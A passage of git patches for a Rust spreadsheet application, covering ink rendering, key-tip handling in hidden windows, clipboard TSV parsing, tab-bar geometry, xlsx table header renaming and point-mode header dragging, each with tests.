+++++-- crates/ui-egui/src/grid/interact.rs | 2 +- crates/ui-egui/tests/it/ink_render.rs | 45 +++++++++++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + 4 files changed, 56 insertions(+), 3 deletions(-) create mode 100644 crates/ui-egui/tests/it/ink_render.rs diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index 5c51d087b..40e3f0aa4 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -316,11 +316,12 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo p.add(PathShape::convex_polygon(vec![pos2(r.center().x, r.top()), r.right_bottom(), r.left_bottom()], fill, Stroke::new(1.0, line))); } ShapeKind::Ink => { - let w = gridcraft_engine::cmd::draw::ink_width(sp) * geo.z; + let pt = gridcraft_engine::cmd::draw::ink_width(sp); + let w = pt * geo.z; let pts: Vec = gridcraft_engine::cmd::draw::ink_points(sp).iter().map(|q| pos2(r.left() + q[0] * geo.z, r.top() + q[1] * geo.z)).collect(); if pts.len() >= 2 { - let col = if w > 8.0 { line.gamma_multiply(0.45) } else { line }; + let col = ink_color(line, pt); p.add(PathShape::line(pts, PathStroke::new(w, col))); } label = false; @@ -556,3 +557,9 @@ pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Re } None } + +/// The colour ink is painted in: a highlighter (a stroke over 8 pt wide) is translucent, by its +/// width in points, so the live pen stroke and the committed ink agree at every zoom. +pub(crate) fn ink_color(line: Color32, width_pt: f32) -> Color32 { + if width_pt > 8.0 { line.gamma_multiply(0.45) } else { line } +} diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index a94f08e6d..f7442fca4 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -257,7 +257,7 @@ pub(crate) fn pen_ink(color: &str, width: f32, theme: &gridcraft_engine::model:: let line = gridcraft_engine::model::Color::from_hex(color).unwrap_or(pen_blue); let width = if width <= 0.0 { 2.0 } else { width }.clamp(0.5, 40.0).round().max(1.0); let color = line.resolve(theme).map(crate::theme::color32).unwrap_or(Color32::from_rgb(0x1F, 0x5F, 0xC9)); - (if width > 8.0 { color.gamma_multiply(0.45) } else { color }, width) + (crate::chartview::ink_color(color, width), width) } fn handle_header_autofit(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { diff --git a/crates/ui-egui/tests/it/ink_render.rs b/crates/ui-egui/tests/it/ink_render.rs new file mode 100644 index 000000000..60ff42a4e --- /dev/null +++ b/crates/ui-egui/tests/it/ink_render.rs @@ -0,0 +1,45 @@ +//! Committed ink is painted as the pen previews it, at any zoom. + +use egui::Shape; +use egui::epaint::ColorMode; +use gridcraft_engine::Session; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +/// The colour of the ink stroke drawn from (40, 40) to (200, 40) sheet points, `width` points +/// wide: the two-point horizontal path whose width is `width` at its own scale (160 pt long). +fn painted_ink(h: &egui_kittest::Harness<'static, SheetApp>, width: f32) -> Option { + h.output().shapes.iter().find_map(|s| match &s.shape { + Shape::Path(p) if p.points.len() == 2 && (p.points[0].y - p.points[1].y).abs() < 0.01 => { + let z = (p.points[1].x - p.points[0].x).abs() / 160.0; + match p.stroke.color { + ColorMode::Solid(c) if z > 0.0 && (p.stroke.width - width * z).abs() < 0.01 => Some(c), + _ => None, + } + } + _ => None, + }) +} + +#[test] +fn ink_translucency_follows_the_pen_not_the_zoom() { + // A highlighter (over 8 pt) is translucent and a pen isn't, whatever the zoom: the committed + // stroke used its width on screen, so at 50% a 12 pt highlighter turned opaque and at 200% a + // 6 pt pen turned translucent, unlike the pen's preview. + for (width, zoom, translucent) in [(12.0_f32, 50, true), (6.0, 200, false), (12.0, 100, true), (6.0, 100, false)] { + let mut s = Session::new(); + s.new_workbook(); + s.execute("view.zoom", json!({"percent": zoom})).unwrap(); + s.execute("draw.stroke", json!({"points": [[40, 40], [200, 40]], "color": "#FFFF00", "width": width})).unwrap(); + let mut h = crate::common::builder().with_size(egui::vec2(1200.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(&ui.ctx().clone()); + app.ui(ui); + }, + crate::common::app(s), + ); + h.run_steps(4); + let c = painted_ink(&h, width).unwrap_or_else(|| panic!("the {width} pt stroke is painted at {zoom}%")); + assert_eq!(c.a() < 255, translucent, "{width} pt at {zoom}%: {c:?}"); + } +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..4608f843c 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -58,6 +58,7 @@ mod hyperlink_ctrl_click; mod hyperlink_dialog; mod in_cell_editor_size; mod in_cell_editor_wrap; +mod ink_render; mod insert_copied_cells; mod interaction; mod interface_scale; From 68e87f0a6863c21c4669cc2bf3143def1150459a Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:01:25 -0600 Subject: [PATCH 263/298] #941: a hidden window drops its waiting key tip request Addresses CodeRabbit review on #3250, "Clear deferred key-tip requests when parking a hidden window": a hidden window isn't drawn, so a request it parked would fire whenever it was shown again (the Symbol gallery opening long after the keys). Parking a hidden window now drops it; the rest of its interface state is kept. Test: legacy_keytips::a_hidden_window_drops_its_waiting_key_tip_request. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/window_ui.rs | 7 ++++++- crates/ui-egui/tests/it/legacy_keytips.rs | 20 ++++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index 93f2c699a..e3f07715b 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -112,7 +112,12 @@ impl SheetApp { }; let mut outgoing = WindowUi::fresh(&self.grid, &self.ui.ribbon_tab); self.swap_window_ui(&mut outgoing); - if self.session.window(previous).is_some() { + if let Some(window) = self.session.window(previous) { + // A hidden window isn't drawn: a key tip request waiting for its next frame would + // fire whenever it is shown again, so it goes. + if window.hidden { + outgoing.keytip_invoke_next = None; + } self.parked.insert(previous, outgoing); } if let Some(mut incoming) = active.and_then(|w| self.parked.remove(&w)) { diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index 57deea0aa..c75a6a087 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -69,3 +69,23 @@ fn a_waiting_key_tip_request_stays_with_its_window() { h.state_mut().show_window(second); assert_eq!(h.state().ui.keytip_invoke_next, Some("insert.symbol")); } + +#[test] +fn a_hidden_window_drops_its_waiting_key_tip_request() { + // A hidden window isn't drawn, so its waiting request would fire when it was shown again, + // long after the keys: hiding the window drops it. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().run("view.hideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(first); + h.state_mut().run("view.unhideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, None); +} From 533c0dadafe4eefe246d0a3e0355bbd688698b39 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:19:49 -0600 Subject: [PATCH 264/298] #2225: a field that only looks quoted keeps the tabs and line breaks in it Addresses CodeRabbit review on #3231, "Reparse consumed separators when a field is not quoted": parse_tsv read "ab"x as one quoted field, then fell back to its raw text without the separator it had consumed, so the cells "a, b"x and c pasted back as two. The new copy (which no longer quotes a cell holding only a quote) makes that text. A field whose closing quote doesn't end it, or that never closes, is now read again as unquoted text, so its tabs and line breaks separate cells. The text read again is bounded by the input's length, so hostile input stays linear. Test: a_field_that_is_not_really_quoted_keeps_its_separators. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 44 +++++++++++++++++++++---- crates/engine/src/cmd/edit/tests.rs | 22 +++++++++++++ 2 files changed, 59 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 1490b082c..0cd814ba0 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -226,24 +226,54 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { let mut row = Vec::new(); let mut field = String::new(); let mut chars = text.chars().peekable(); + // Text read again as unquoted, ahead of the rest of the input: a field that opened with a + // quote but turned out not to be quoted. + let mut replay: std::collections::VecDeque = std::collections::VecDeque::new(); + // Text is replayed at most as much as the input is long; past that, quotes are text, so + // hostile input full of fields that only look quoted reads in linear time. + let mut replay_budget = text.len(); let mut quoted = false; let mut at_start = true; // A quoted field's text as it stands in the input, for a field that turns out not to be one. let mut raw = String::new(); - while let Some(c) = chars.next() { + loop { + let c = match replay.pop_front().or_else(|| chars.next()) { + Some(c) => c, + // A quote that never closes: the field is its text as written. + None if quoted => { + quoted = false; + field.clear(); + field.push('"'); + replay_budget = replay_budget.saturating_sub(raw.len()); + replay.extend(raw.chars().skip(1)); + raw.clear(); + continue; + } + None => break, + }; if quoted { raw.push(c); if c == '"' { - if chars.peek() == Some(&'"') { + let next = replay.front().copied().or_else(|| chars.peek().copied()); + if next == Some('"') { field.push('"'); raw.push('"'); - chars.next(); + if replay.pop_front().is_none() { + chars.next(); + } } else { quoted = false; // A field is quoted only when its closing quote ends it, as Excel reads it: - // `"hi" there` is that text, quotes included. - if !matches!(chars.peek(), None | Some('\t' | '\n' | '\r')) { - field = std::mem::take(&mut raw); + // `"hi" there` is that text, quotes included, and a tab or line break inside + // it still ends the cell, as if the leading quote weren't there. + if !matches!(next, None | Some('\t' | '\n' | '\r')) { + field.clear(); + field.push('"'); + replay_budget = replay_budget.saturating_sub(raw.len()); + let rest: Vec = std::mem::take(&mut raw).chars().skip(1).collect(); + for ch in rest.into_iter().rev() { + replay.push_front(ch); + } } } } else { @@ -252,7 +282,7 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { continue; } match c { - '"' if at_start => { + '"' if at_start && replay_budget > 0 => { quoted = true; at_start = false; raw = String::from('"'); diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 5034646cd..020592c56 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -390,3 +390,25 @@ fn copy_quotes_only_cells_with_tabs_or_line_breaks() { let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect(); assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]); } + +#[test] +fn a_field_that_is_not_really_quoted_keeps_its_separators() { + // A field opening with a quote is quoted only if a closing quote ends it; when it doesn't (or + // never closes), the text is read as written, and the tabs and line breaks inside it still + // separate cells, as they would have without the leading quote. + assert_eq!(parse_tsv("\"a\tb\"x\tc"), vec![vec!["\"a", "b\"x", "c"]]); + assert_eq!(parse_tsv("\"a\tb\nc"), vec![vec!["\"a", "b"], vec!["c"]]); + assert_eq!(parse_tsv("\"a\tb\tc\n"), vec![vec!["\"a", "b", "c"]]); + // Cells copied without quotes (they hold no tab or line break) read back as the same cells. + let mut s = Session::new(); + s.new_workbook(); + for (cell, input) in [("A1", "'\"a"), ("B1", "b\"x"), ("C1", "c")] { + s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); + } + let text = s.execute("edit.copy", json!({"range": "A1:C1"})).unwrap()["text"].as_str().unwrap().to_string(); + assert_eq!(parse_tsv(&text), vec![vec!["\"a", "b\"x", "c"]], "{text:?}"); + // Many fields that only look quoted: each is replayed at most once (the replay budget is the + // input's length), and every one is still its own cell. + let hostile = "\"x\t".repeat(50_000); + assert_eq!(parse_tsv(&hostile).first().map(Vec::len), Some(50_001)); +} From 2bdec6c0a11e9d9ef8cfe91ed6618aafc2be9486 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 04:44:40 -0600 Subject: [PATCH 265/298] #941: a window hidden while parked drops its key tip request; parity row names the badge-less keys MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses CodeRabbit review on #3250: - "Clear parked keytip requests when their window becomes hidden": a window hidden from another window (View › Hide while it isn't in front) kept the request it had parked, and showing it again opened the control. follow_active_window now drops the waiting request of every parked window that is hidden. - "Correct the no-badge description in the parity table": only Alt+I, D, V and T (no ribbon tab) paint no badges. Test: legacy_keytips::a_window_hidden_from_another_window_drops_its_parked_request. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/window_ui.rs | 8 ++++++++ crates/ui-egui/tests/it/legacy_keytips.rs | 21 +++++++++++++++++++++ docs/ui-parity.md | 2 +- 3 files changed, 30 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index e3f07715b..d68b7e3d8 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -102,6 +102,14 @@ impl SheetApp { /// in (a window never seen before starts fresh). A closed window's state is dropped. pub fn follow_active_window(&mut self) { let active = self.session.active_window(); + // A window hidden while parked (from another window's View › Hide) isn't drawn either: + // its waiting key tip request goes, as it does for a window hidden as it is left. + let session = &self.session; + for (id, parked) in &mut self.parked { + if session.window(*id).is_some_and(|w| w.hidden) { + parked.keytip_invoke_next = None; + } + } if active == self.ui_window { return; } diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index c75a6a087..885c70f8f 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -89,3 +89,24 @@ fn a_hidden_window_drops_its_waiting_key_tip_request() { h.state_mut().show_window(second); assert_eq!(h.state().ui.keytip_invoke_next, None); } + +#[test] +fn a_window_hidden_from_another_window_drops_its_parked_request() { + // Hidden while another window is in front (its request already parked), the window still + // loses the request, so showing it again doesn't open the control. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().enter_window(first); + h.state_mut().run("view.hideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(first); + h.state_mut().run("view.unhideWindow", json!({"window": second})).unwrap(); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, None); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 3d51e0e65..e9d98725c 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -21,7 +21,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; a function counts as recently used once its formula is entered, not when Insert Function's OK is pressed | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | -| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S), which paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | +| Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus the Excel 2003 menu keys (Alt+I, E, O, D, V, T and Alt+F, U, such as Alt+I, R or Alt+D, S); Alt+I, D, V and T, which have no ribbon tab, paint no badges, as in Excel (#941); other tabs and controls not yet (#33, #49) | 3–5 h | | Formula bar with Name Box, expand, function hints | yes | yes; grows with its content from one to five lines (Alt+Enter, wrapped text, or viewing a multi-line cell), then scrolls with the caret in view, the Name Box and buttons staying on the first line; the chevron pins it at five; the in-cell editor shows every line | done; no drag-to-resize handle | | Sheet tabs: rename, reorder, colour, hide, scroll | yes | yes | Ctrl-drag (Cmd or Option on macOS) drops a copy (#971); active tab revealed on navigation and resize (#681); manual wheel/trackpad browsing preserved; rename focus bug on macOS (#145) | | Formula bar with Name Box, expand, function hints | yes | yes | done; dynamic-array spill children show the source formula muted and read-only, using current spill ownership | From fe6ab7c5c06d5d552faf93b38c4518b4b6d15756 Mon Sep 17 00:00:00 2001 From: Hector Viov Date: Tue, 3 Nov 2026 05:02:44 -0600 Subject: [PATCH 266/298] #3101: clear the tab bar's cached rectangles when a control is hidden Addresses review comment 4453674677: after a frame drew both controls, turning off the horizontal scroll bar or the sheet tabs left app.grid.hscroll / app.grid.tab_split holding the old rectangles. sheet_tabs now clears both before any visibility return. Test: tab_split::hiding_the_controls_clears_their_cached_rectangles toggles both options on one live harness. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/tabs.rs | 3 +++ crates/ui-egui/tests/it/tab_split.rs | 21 +++++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index 6147b2e14..ea11615d0 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -100,6 +100,9 @@ fn tab_split_handle(app: &mut SheetApp, ui: &mut Ui, split: Rect, bar: (f32, f32 /// Draws the worksheet tab strip: navigation, scroll/reveal, rename/drag/move with optional copy, context menu, new-sheet button, split handle and grid scrollbar. pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let t = Tokens::get(ui.ctx()); + // Only the controls drawn this frame have a rectangle: a hidden one keeps no stale geometry. + app.grid.hscroll = None; + app.grid.tab_split = None; // File › Options › Advanced › Display options for this workbook (#3101): with neither the // sheet tabs nor the horizontal scroll bar, the bar isn't there at all. let view = app.session.active().map(|d| d.wb.view).unwrap_or_default(); diff --git a/crates/ui-egui/tests/it/tab_split.rs b/crates/ui-egui/tests/it/tab_split.rs index 7189358ac..c2dabc2fe 100644 --- a/crates/ui-egui/tests/it/tab_split.rs +++ b/crates/ui-egui/tests/it/tab_split.rs @@ -197,3 +197,24 @@ fn display_options_hide_the_sheet_tabs_and_the_horizontal_scroll_bar() { h.run_steps(5); assert!(!shows_tab_name(&h) && h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); } + +#[test] +fn hiding_the_controls_clears_their_cached_rectangles() { + // Turned off on a live window, the controls drop the rectangles of the frame that drew them. + let mut h = harness(900.0, 1); + assert!(h.state().grid.tab_split.is_some() && h.state().grid.hscroll.is_some(), "both controls drawn first"); + + h.state_mut().run("view.showSheetTabs", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.tab_split.is_none(), "no split handle once the tabs are hidden"); + assert!(h.state().grid.hscroll.is_some(), "the scroll bar stays"); + + h.state_mut().run("view.showSheetTabs", json!({"on": true})).unwrap(); + h.state_mut().run("view.showHorizontalScrollBar", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no scroll bar and no split handle"); + + h.state_mut().run("view.showSheetTabs", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); +} From 92cdc2a975b6e014da6ff25477232b500e3c1cf6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 06:45:15 -0500 Subject: [PATCH 267/298] xlsx: rename repeated table headers without retrying handed-out suffixes (#3213) table_columns restarted its suffix search at 2 for every duplicate header, lowercasing and hashing every candidate already in use, so a table of repeated headers was exported in quadratic time. The next suffix to try is now remembered per lowercased base. --- crates/xlsx/src/sheet_write/parts.rs | 57 +++++++++++++++++++++++++--- 1 file changed, 51 insertions(+), 6 deletions(-) diff --git a/crates/xlsx/src/sheet_write/parts.rs b/crates/xlsx/src/sheet_write/parts.rs index 2e40d0b26..040e2b9bd 100644 --- a/crates/xlsx/src/sheet_write/parts.rs +++ b/crates/xlsx/src/sheet_write/parts.rs @@ -1,3 +1,5 @@ +use std::collections::HashMap; + use super::*; /// Valid table name: letters, digits, `_` and `.`, starting with a letter, `_` or `\` @@ -21,16 +23,24 @@ pub(super) fn table_name(name: &str, used: &mut HashSet, n: u32) -> Stri pub(super) fn table_columns(t: &Table) -> Vec { let w = t.range.width() as usize; let mut used = HashSet::new(); + // The next suffix to try per lowercased base, so repeated headers don't retry every suffix + // already handed out. + let mut next: HashMap = HashMap::new(); (0..w) .map(|i| { let base = t.columns.get(i).map(|c| c.name.clone()).filter(|n| !n.trim().is_empty()).unwrap_or_else(|| format!("Column{}", i + 1)); - let mut name = base.clone(); - let mut k = 2; - while !used.insert(name.to_lowercase()) { - name = format!("{base}{k}"); - k += 1; + let lower = base.to_lowercase(); + if used.insert(lower.clone()) { + return base; + } + let k = next.entry(lower).or_insert(2); + loop { + let name = format!("{base}{k}"); + *k += 1; + if used.insert(name.to_lowercase()) { + return name; + } } - name }) .collect() } @@ -371,3 +381,38 @@ pub(super) fn vml_xml(sheet: &Sheet, n: u32) -> String { s.push_str(""); s } + +#[cfg(test)] +mod tests { + use gridcraft_model::TableColumn; + + use super::*; + + #[test] + fn repeated_headers_are_renamed_without_retrying_suffixes() { + let col = |n: &str| TableColumn { name: n.into(), totals: TotalsFn::None, totals_label: None, formula: None, unique_name: None, xml: None }; + let mut columns: Vec = (0..10_000).map(|_| col("Total")).collect(); + columns[1] = col("total3"); + let t = Table { + id: 1, + name: "T".into(), + range: RangeRef::parse("A1:NTP2").unwrap(), + header_row: true, + totals_row: false, + columns, + style: String::new(), + banded_rows: false, + banded_cols: false, + first_col: false, + last_col: false, + filter_button: false, + filter: vec![], + table_type: None, + connection_id: None, + }; + let names = table_columns(&t); + assert_eq!(names.len(), 10_000); + assert_eq!(&names[..4], ["Total", "total3", "Total2", "Total4"]); + assert_eq!(names.iter().map(|n| n.to_lowercase()).collect::>().len(), 10_000); + } +} From f4f69beec237c6cf7c7ba3a6675e17ed6a2f2065 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 13:45:53 +0100 Subject: [PATCH 268/298] Point mode: dragging over row or column headers extends the reference A press on a header while a formula waits for a reference inserted C:C, but the drag that followed did nothing, so dragging from column C to E left C:C. The drag now follows the pointer, as it does over cells, in either direction and for rows too, keeping the sheet qualifier, the earlier arguments of a Ctrl press and the far end of a Shift press. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid.rs | 4 + crates/ui-egui/src/grid/cursor.rs | 2 +- crates/ui-egui/src/grid/interact.rs | 62 ++++++++++++- .../ui-egui/tests/it/formula_point_headers.rs | 89 +++++++++++++++++++ docs/ui-parity.md | 5 +- 5 files changed, 155 insertions(+), 7 deletions(-) diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 5a6dd3978..5dd7246b9 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -101,6 +101,10 @@ pub enum Drag { Select, Rows(u32), Cols(u32), + /// Point mode over the row headers: the formula's reference runs from this row to the pointer. + PointRows(u32), + /// Point mode over the column headers: the formula's reference runs from this column to the pointer. + PointCols(u32), /// Reordering one contiguous whole-column selection by its header. MoveCols { source: RangeRef, diff --git a/crates/ui-egui/src/grid/cursor.rs b/crates/ui-egui/src/grid/cursor.rs index f93e59cb6..abcd7ed78 100644 --- a/crates/ui-egui/src/grid/cursor.rs +++ b/crates/ui-egui/src/grid/cursor.rs @@ -48,7 +48,7 @@ fn drag_cursor(drag: &Drag, rtl: bool) -> Option { match drag { Drag::None => None, Drag::Select => Some(CursorIcon::Cell), - Drag::Rows(_) | Drag::Cols(_) => Some(CursorIcon::Default), + Drag::Rows(_) | Drag::Cols(_) | Drag::PointRows(_) | Drag::PointCols(_) => Some(CursorIcon::Default), Drag::Fill { .. } => Some(CursorIcon::Crosshair), Drag::Move { .. } | Drag::MoveCols { .. } | Drag::Object { handle: None, .. } => Some(CursorIcon::Move), Drag::ResizeCol { .. } => Some(CursorIcon::ResizeColumn), diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..350aefd7a 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -307,6 +307,7 @@ fn handle_column_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, return; } if point_header(app, wb, sh, RangeRef::cols(c, c), mods.shift, mods.command) { + point_header_first_move(app, input); return; } // An armed Format Painter paints the columns dragged over instead of moving them. @@ -337,6 +338,7 @@ fn handle_row_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, p: } let r = geo.row_at(sh, p.y); if point_header(app, wb, sh, RangeRef::rows(r, r), mods.shift, mods.command) { + point_header_first_move(app, input); return; } let range = if mods.shift { RangeRef::rows(sel.anchor.row.min(r), sel.anchor.row.max(r)) } else { RangeRef::rows(r, r) }; @@ -612,6 +614,10 @@ fn handle_dragging(app: &mut SheetApp, input: &InteractionInput<'_>) { app.session.run("selection.set", json!({"range": RangeRef::cols(anchor.min(c), anchor.max(c)).a1(), "active": sel.active.a1()})); scroll_by(app, vec2(auto.x, 0.0)); } + drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => { + point_header_to(app, geo, sh, wb, &drag, p); + scroll_by(app, if matches!(drag, Drag::PointRows(_)) { vec2(0.0, auto.y) } else { vec2(auto.x, 0.0) }); + } Drag::MoveCols { source, .. } => { let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); let midpoint = geo.x(sh, col) + sh.col_width(col) * geo.z * 0.5; @@ -688,6 +694,14 @@ fn handle_release(app: &mut SheetApp, input: &InteractionInput<'_>) { } // Whole rows or columns clicked or dragged over by their headers. Drag::Rows(_) | Drag::Cols(_) => format_painter_apply(app), + // The release may be the first frame to report the pointer's last position. + drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => { + if resp.drag_stopped() + && let Some(p) = pos + { + point_header_to(app, geo, sh, wb, &drag, p); + } + } // Esc mid-drag lands here too (egui ends the drag on Esc): no menu, and the key is // spent on the drag so the grid's Esc doesn't also drop the copy. Drag::Fill { target: Some(t), menu: true } => { @@ -751,11 +765,13 @@ fn format_painter_apply(app: &mut SheetApp) { } } -/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting. +/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting, +/// and dragging on from there extends it. fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, extend: bool, add: bool) -> bool { let Some(ed) = app.editor.as_mut().filter(|ed| ed.can_point()) else { return false }; let edit_sheet = ed.sheet; let active_sheet = wb.active_sheet(); + let pressed = range; let range = if extend { ed.point .and_then(|point| crate::editor::formula_refs(&ed.text).into_iter().find(|(start, end, ..)| (*start, *end) == point)) @@ -776,9 +792,7 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, } else { range }; - let reference = range.a1(); - let reference = - if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference }; + let reference = header_reference(ed, wb, sh, range); if add { ed.append_ref(&reference); } else { @@ -787,9 +801,49 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, ed.point_anchor = None; ed.point_cell = Some(range.start); ed.request_focus = true; + // The drag keeps the end of the reference the press didn't land on. + app.grid.drag = if range.is_full_cols() { + Drag::PointCols(if range.start.col == pressed.start.col { range.end.col } else { range.start.col }) + } else { + Drag::PointRows(if range.start.row == pressed.start.row { range.end.row } else { range.start.row }) + }; true } +fn header_reference(ed: &EditState, wb: &Workbook, sh: &Sheet, range: RangeRef) -> String { + let reference = range.a1(); + if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference } +} + +/// The frame that starts a drag reports no `dragged()`, so its movement is applied here. +fn point_header_first_move(app: &mut SheetApp, input: &InteractionInput<'_>) { + if input.response.drag_started() + && let Some(p) = input.position + { + let drag = app.grid.drag.clone(); + point_header_to(app, input.geo, input.sheet, input.workbook, &drag, p); + } +} + +/// Point mode dragged over the headers: the pointed reference runs from the anchor to the pointer. +fn point_header_to(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, drag: &Drag, p: Pos2) { + let range = match *drag { + 